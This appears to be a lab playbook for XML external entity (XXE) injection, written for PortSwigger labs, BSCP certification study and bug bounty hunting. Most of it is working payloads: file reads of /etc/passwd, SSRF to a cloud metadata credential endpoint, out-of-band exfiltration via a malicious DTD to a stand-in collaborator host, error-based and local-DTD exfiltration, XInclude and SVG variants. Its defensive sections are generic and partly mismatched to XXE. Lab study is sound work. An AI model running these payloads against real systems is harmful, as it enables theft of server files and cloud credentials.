akashrpatil XXE Injection — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- Studying for BSCP (Burp Suite Certified Practitioner) certification
- Testing real-world targets for these vulnerability classes
- Bug bounty hunting — these exact techniques find real bugs
- Building exploitation chains
Prerequisites
- Burp Suite Professional (Community works for most)
- Browser with proxy configured
- Burp Collaborator or interactsh for OOB testing
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: External entities retrieve files 🟢 APPRENTICE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Lab 2: XXE to perform SSRF 🟢 APPRENTICE
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Lab 3: Blind XXE out-of-band 🟡 PRACTITIONER
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP-COLLAB.net/xxe">]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Lab 4: Blind XXE via parameter entities 🟡 PRACTITIONER
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://BURP-COLLAB.net/xxe"> %xxe;]>
Parameter entities (%) work when regular entities are blocked.
Lab 5: Blind XXE exfiltrate via malicious DTD 🟡 PRACTITIONER
Host DTD on exploit server:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://COLLAB/?x=%file;'>">
%eval; %exfil;
Then: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT-SERVER/dtd"> %xxe;]>
Lab 6: Blind XXE via error messages 🟡 PRACTITIONER
Malicious DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval; %error;
File contents appear in the XML parsing error message.
Lab 7: XInclude retrieve files 🟡 PRACTITIONER
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
When you can't control the full XML document, use XInclude.
Lab 8: XXE via image upload 🟡 PRACTITIONER
Upload SVG:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="0" y="20">&xxe;</text></svg>
Lab 9: Repurposing local DTD 🔴 EXPERT
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///z/%file;'>">%eval;%error;'>
%local_dtd;
]>
Override an entity in a known local DTD to trigger the error-based exfiltration.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research Methodology
When a standard technique doesn't work:
- Identify the filter: What chars/patterns are blocked?
- Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
- Fuzz extensively: Use Burp Intruder with custom charset/tag lists
- Chain vulnerabilities: Combine two medium findings into one critical
- Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class